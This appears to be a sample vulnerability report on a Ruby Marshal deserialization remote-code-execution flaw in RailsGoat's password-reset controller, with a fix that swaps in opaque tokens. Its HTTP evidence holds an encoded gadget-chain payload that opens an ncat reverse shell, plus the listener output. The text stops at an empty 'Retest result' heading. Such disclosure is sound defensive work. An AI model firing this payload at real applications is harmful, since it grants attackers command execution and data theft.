What the report you receive looks like.

Overview

The password-reset flow accepts a client-supplied user parameter, decodes it from Base64 and passes it directly to Marshal.load. Because Ruby Marshal can reconstruct arbitrary object graphs, a remote attacker can submit a crafted object and execute commands with the privileges of the Rails process.

Attack preconditions

Network-reachable endpoint; no authentication required. The attacker only needs a valid reset-flow request and can replace the serialized field before submission.

Details

Attack path validated in the isolated RailsGoat environment:

Affected code app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12

1. The reset form serializes the user object with Marshal.dump, Base64-encodes it and places it in the hidden user field, sending an object trusted by the server to the browser.
2. A POST /password_resets request allows the user field to be replaced with attacker-controlled Marshal data.
3. The controller calls Marshal.load(Base64.decode64(params[:user])) without integrity validation or restrictions on deserializable types.
4. A gadget chain using ERB and ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy executed a non-destructive proof command on the server, confirming control of the application process.

HTTP evidence

POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x

HTTP/1.1 302 Found
Location: /login

$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspican

An unauthenticated attacker can execute commands in the context of the Rails application. This may allow them to read or alter application data and secrets, tamper with the service, reach resources available to the process and interrupt the application. Impact beyond the container or host depends on the deployment privileges and network segmentation.

Business impact

Compromise of the application process can interrupt service, expose user data and require credential rotation, forensic investigation and stakeholder communications. For an exposed asset, the operational risk is incompatible with release.

Assessment

The issue is remotely reachable, requires no authentication or victim interaction and has low operational complexity once the payload is constructed. Code execution fully compromises confidentiality, integrity and availability in the Rails process context. The assessment considers application-process privileges and does not assume additional host privileges.

Recommendation

Remove deserialization from the reset flow and replace it with a server-generated opaque token. The controller should create a random token, store only its digest with the user and expiry, and send the browser only the opaque value. On confirmation, look up the token server-side, enforce expiry and integrity, consume it atomically, and reject missing or reused values. Update the form so it no longer serializes the user object. Add regression tests for arbitrary Marshal payloads, expired tokens, token reuse and token/user mismatches.

# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)

# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object

# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeeds

Retest result